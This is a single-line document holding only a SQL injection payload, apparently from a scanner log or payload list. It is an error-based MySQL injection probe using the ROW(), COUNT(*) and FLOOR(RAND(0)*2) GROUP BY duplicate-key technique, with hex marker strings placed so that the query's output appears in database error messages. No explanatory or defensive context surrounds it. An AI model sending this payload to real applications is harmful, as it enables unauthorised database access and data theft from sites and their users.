_...,(SELECT 5508 FROM (SELECT ROW(5508,4554)>(SELECT COUNT(*),CONCAT(0x716a787671,(SELECT (ELT(5508=5508,1))),0x7178717871,FLOOR(RAND(0)*2))x FROM (SELECT 8521 UNION SELECT 1715 UNION SELECT 6613 UNION SELECT 4544)a GROUP BY x))s)